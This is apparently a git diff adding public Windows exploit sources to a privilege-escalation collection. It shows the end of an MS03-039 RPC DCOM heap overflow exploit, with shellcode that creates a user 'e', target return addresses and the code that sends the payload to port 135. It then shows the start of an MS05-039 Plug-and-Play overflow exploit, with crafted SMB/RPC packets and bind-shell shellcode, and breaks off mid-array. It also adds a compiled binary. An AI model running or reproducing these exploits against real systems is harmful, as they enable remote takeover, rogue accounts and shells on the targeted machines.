+0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, +0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, +0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, +0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; + +unsigned char request1[]={ +0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 +,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 +,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 +,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E +,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D +,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 +,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 +,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 +,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 +,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 +,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 +,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 +,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 +,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 +,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 +,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 +,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF +,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 +,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 +,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 +,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 +,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 +,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 +,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 +,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 +,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 +,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E +,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 +,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 +,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 +,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 +,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00}; + +unsigned char request2[]={ +0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 +,0x00,0x00,0x5C,0x00,0x5C,0x00}; + +unsigned char request3[]={ +0x5C,0x00 +,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 +,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 +,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 +,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; + +//user="e" pass="asd#321" +unsigned char sc_add_user[]= +"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x99\xE2\xFA" +"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69" +"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5" +"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA" +"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED" +"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF" +"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A" +"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F" +"\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99" +"\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10" +"\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA" +"\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B" +"\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA" +"\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8" +"\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9" +"\xEB\xF6\xFA\xFC\xEA\xEA\x99\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC" +"\xED\xB9\xEC\xEA\xFC\xEB\xB9\xFC\xB9\xF8\xEA\xFD\xBA\xAA\xAB\xA8" +"\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6\xFA" +"\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED" +"\xEB\xF8\xED\xF6\xEB\xEA\xB9\xFC\xB9\xB6\xF8\xFD\xFD\x99"; +#define sc_offset 0x24 +#define sc_max 0x208 +#define jmp_addr_offset sc_max+sc_offset+0x8 +#define top_seh_offset jmp_addr_offset+0x4 + +unsigned char sc[]= +"\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00\x2e\x00" +"\x30\x00\x2e\x00\x31\x00\x5c\x00\x49\x00\x50\x00" +"\x43\x00\x24\x00\x5c\x00" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" +"\xe9\xf3\xfd\xff\xff" +"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"; + +unsigned char request4[]={ +0x01,0x10 +,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 +,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C +,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +}; + +struct +{ + char *os; + DWORD dwTopSeh; + char *seh; + DWORD dwJmpAddr; + char *jmp; +} +targets[] = +{ + { "2kEnSp4+MS03-026", + 0x7c54144c, + "kernel32.dll v5.0.2195.6688", + 0x77a1b496, + "OLEAUT32.dll v2.40.4522.0"}, + { "2kEnSp3+SomeHotFixs+MS03-026", + 0x77eda1f0, + "kernel32.dll v5.0.2195.6079", + 0x77a1afa9, + "OLEAUT32.dll v2.40.4518.0"} +}, v; +void main(int argc,char ** argv) +{ + WSADATA WSAData; + SOCKET sock; + int len,len1; + SOCKADDR_IN addr_in; + short port=135; + unsigned char buf1[0x1000]; + unsigned char buf2[0x1000]; + int i, iType; + + printf( "MS03-039 RPC DCOM long filename heap buffer overflow exp v1\n" + "Base on flashsky's MS03-026 exp\n" + "Code by ey4s\n" + "2003-09-16\n" + "Welcome to http://www.xfocus.net\n" + "Thanks to flashsky & benjurry & Dave Aitel\n" + "If success, target will add a user \"e\" and password is \"asd#321\"\n\n"); + + if(argc!=3) + { + printf("Usage: %s \n", argv[0]); + for(i = 0; i < sizeof(targets)/sizeof(v); i++) + printf( "<%d> %s\n" + " TopSeh=0x%.8x in %s\n" + " JmpAddr=0x%.8x in %s\n", + i, targets[i].os, + targets[i].dwTopSeh, targets[i].seh, + targets[i].dwJmpAddr, targets[i].jmp); + return; + } + + iType = atoi(argv[2]); + if((iType<0) || iType > sizeof(targets)/sizeof(v)) + { + printf("[-] Wrong type.\n"); + return; + } + + memcpy(&sc[sc_offset], sc_add_user, sizeof(sc_add_user)); + memcpy(&sc[jmp_addr_offset], &targets[iType].dwJmpAddr,4); + memcpy(&sc[top_seh_offset], &targets[iType].dwTopSeh,4); + printf("[+] Prepare shellcode completed.\n"); + + if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) + { + printf("WSAStartup error.Error:%d\n",WSAGetLastError()); + return; + } + + addr_in.sin_family=AF_INET; + addr_in.sin_port=htons(port); + addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); + + if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) + { + printf("Socket failed.Error:%d\n",WSAGetLastError()); + return; + } + if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) + { + printf("Connect failed.Error:%d",WSAGetLastError()); + return; + } + printf("[+] Connect to %s:135 success.\n", argv[1]); + + if(sizeof(sc_add_user) > sc_max) + { + printf("[-] shellcode too long, exit.\n"); + return; + } + + + len=sizeof(sc); + memcpy(buf2,request1,sizeof(request1)); + len1=sizeof(request1); + *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //¼ÆËãÎļþÃûË«×Ö½Ú³¤¶È + *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//¼ÆËãÎļþÃûË«×Ö½Ú³¤¶È + memcpy(buf2+len1,request2,sizeof(request2)); + len1=len1+sizeof(request2); + memcpy(buf2+len1,sc,sizeof(sc)); + len1=len1+sizeof(sc); + memcpy(buf2+len1,request3,sizeof(request3)); + len1=len1+sizeof(request3); + memcpy(buf2+len1,request4,sizeof(request4)); + len1=len1+sizeof(request4); + *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; + //¼ÆËã¸÷ÖֽṹµÄ³¤¶È + *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; + *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; + *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; + *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; + *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; + *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; + *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; + + len = send(sock,bindstr,sizeof(bindstr),0); + if(len<=0) + { + printf("[-] Send failed.Error:%d\n",WSAGetLastError()); + return; + } + else + printf("[+] send %d bytes.\n", len); + + len=recv(sock,buf1,1000,0); + if(len<=0) + { + printf("[-] recv error:%d\n", GetLastError()); + return; + } + else + printf("[+] recv %d bytes.\n", len); + + len = send(sock,buf2,len1,0); + if(len<=0) + { + printf("[-] Send failed.Error:%d\n",WSAGetLastError()); + return; + } + else + printf("[+] send %d bytes.\n", len); + len=recv(sock,buf1,1024,0); + if(len<=0) + { + printf("[+] Target crash or exploit success? :)\n"); + } + else + printf("[-] recv %d bytes. Bad luck!\n", len); +} + + + +// milw0rm.com [2003-09-16] diff --git a/97-Windows提权/MS05-039/MS05-039.exe b/97-Windows提权/MS05-039/MS05-039.exe new file mode 100644 index 0000000..45d149b Binary files /dev/null and b/97-Windows提权/MS05-039/MS05-039.exe differ diff --git a/97-Windows提权/MS05-039/PnP_Service.c b/97-Windows提权/MS05-039/PnP_Service.c new file mode 100644 index 0000000..91ca423 --- /dev/null +++ b/97-Windows提权/MS05-039/PnP_Service.c @@ -0,0 +1,436 @@ +/* HOD-ms05039-pnp-expl.c: 2005-08-10: PUBLIC v.0.2 + * + * Copyright (c) 2005 houseofdabus. + * + * (MS05-039) Microsoft Windows Plug-and-Play Service Remote Overflow + * Universal Exploit + no crash shellcode + * + * + * + * + * .::[ houseofdabus ]::. + * + * + * + * --------------------------------------------------------------------- + * Description: + * A remote code execution and local elevation of privilege + * vulnerability exists in Plug and Play that could allow an + * attacker who successfully exploited this vulnerability to take + * complete control of the affected system. + * + * This is a remote code execution and local privilege elevation + * vulnerability. On Windows 2000, an anonymous attacker could + * remotely try to exploit this vulnerability. + * + * On Windows XP Service Pack 1, only an authenticated user could + * remotely try to exploit this vulnerability. + * On Window XP Service Pack 2 and Windows Server 2003, only an + * administrator can remotely access the affected component. + * Therefore, on Windows XP Service Pack 2 and Windows Server 2003, + * this is strictly a local privilege elevation vulnerability. + * An anonymous user cannot remotely attempt to exploit this + * vulnerability on Windows XP Service Pack 2 and Windows + * Server 2003. + * + * --------------------------------------------------------------------- + * Solution: + * http://www.microsoft.com/technet/security/Bulletin/MS05-039.mspx + * + * --------------------------------------------------------------------- + * Systems Affected: + * - Windows Server 2003, SP1 + * - Windows XP SP1, SP2 + * - Windows 2000 SP4 + * + * --------------------------------------------------------------------- + * Tested on: + * - Windows 2000 SP4 + * + * --------------------------------------------------------------------- + * Compile: + * + * Win32/VC++ : cl -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c + * Win32/cygwin: gcc -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c + * Linux : gcc -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c + * + * --------------------------------------------------------------------- + * Example: + * + * C:\>HOD-ms05039-pnp-expl 192.168.0.1 7777 + * + * [*] connecting to 192.168.0.22:445...ok + * [*] null session...ok + * [*] bind pipe...ok + * [*] sending crafted packet...ok + * [*] check your shell on 192.168.0.1:7777 + * Ctrl+C + * + * C:\>nc 192.168.0.1 7777 + * + * Microsoft Windows 2000 [Version 5.00.2195] + * (C) Copyright 1985-2000 Microsoft Corp. + * + * C:\WINNT\system32> + * + * --------------------------------------------------------------------- + * + * This is provided as proof-of-concept code only for educational + * purposes and testing by authorized individuals with permission + * to do so. + * + */ + +/* #define _WIN32 */ + +#include +#include +#include + +#ifdef _WIN32 +#include +#pragma comment(lib, "ws2_32") +#else +#include +#include +#include +#include +#endif + + +unsigned char SMB_Negotiate[] = + "\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" + "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F" + "\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02" + "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F" + "\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70" + "\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30" + "\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54" + "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00"; + + +unsigned char SMB_SessionSetupAndX[] = + "\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" + "\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00" + "\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E" + "\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00" + "\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00" + "\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00" + "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00" + "\x2E\x00\x30\x00\x00\x00\x00\x00"; + + +unsigned char SMB_SessionSetupAndX2[] = + "\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" + "\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00" + "\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E" + "\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46" + "\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40" + "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40" + "\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48" + "\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\xD2\x59\xA0\xB3" + "\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00" + "\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00" + "\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00" + "\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00" + "\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00"; + + +unsigned char SMB_TreeConnectAndX[] = + "\x00\x00\x00\x5A\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" + "\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\x00\x2F\x00\x00"; + + + +unsigned char SMB_TreeConnectAndX_[] = + "\x00\x00\x3F\x3F\x3F\x3F\x3F\x00"; + + +/* browser */ +unsigned char SMB_PipeRequest_browser[] = + "\x00\x00\x00\x66\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04" + "\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x10\x00\x16\x00\x00\x00" + "\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00" + "\x02\x00\x00\x00\x03\x13\x00\x00\x5C\x00\x62\x00\x72\x00\x6F\x00" + "\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00"; + + +unsigned char SMB_PNPEndpoint[] = +/* 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0: pnp */ + "\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04" + "\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x10\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02" + "\x00\x26\x00\x00\x40\x59\x00\x00\x5C\x00\x50\x00\x49\x00\x50\x00" + "\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x0B\x03\x10\x00\x00\x00" + "\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00" + "\x01\x00\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\x3D\xA0\xCE\x11" + "\x8F\x69\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\x04\x5D\x88\x8A" + "\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00"; + + + +unsigned char RPC_call[] = + "\x00\x00\x08\x90\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04" + "\x00\x08\x60\x00\x10\x00\x00\x3C\x08\x00\x00\x00\x01\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x3C\x08\x54\x00\x02" + "\x00\x26\x00\x00\x40\x4D\x08\x00\x5C\x00\x50\x00\x49\x00\x50\x00" + "\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x00\x03\x10\x00\x00\x00" + "\x3C\x08\x00\x00\x01\x00\x00\x00\x24\x08\x00\x00\x00\x00\x36\x00" + "\x11\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x52\x00\x4F\x00" + "\x4F\x00\x54\x00\x5C\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00" + "\x4D\x00\x5C\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00\x00\x00" + "\xFF\xFF\x00\x00\xE0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\xC0\x07\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90" + "\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76" + "\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76" + "\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76" + "\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76" + + /* jmp over - entry point */ + "\xEB\x08\x90\x90" + + /* pop reg; pop reg; retn; - umpnpmgr.dll */ + "\x67\x15\x7a\x76" /* 0x767a1567 */ + + /* jmp ebx - umpnpmgr.dll + "\x6f\x36\x7a\x76" */ + + "\xEB\x08\x90\x90\x67\x15\x7a\x76" + "\x90\x90\x90\x90\x90\x90\x90\xEB\x08\x90\x90\x48\x4F\x44\x88\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; + + +unsigned char RPC_call_end[] = + "\xE0\x07\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"; + + +unsigned char bind_shellcode[] = + "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19" + "\xf5\x04\x37\x83\xeb\xfc\xe2\xf4\xe5\x9f\xef\x7a\xf1\x0c\xfb\xc8" + "\xe6\x95\x8f\x5b\x3d\xd1\x8f\x72\x25\x7e\x78\x32\x61\xf4\xeb\xbc" + "\x56\xed\x8f\x68\x39\xf4\xef\x7e\x92\xc1\x8f\x36\xf7\xc4\xc4\xae" + 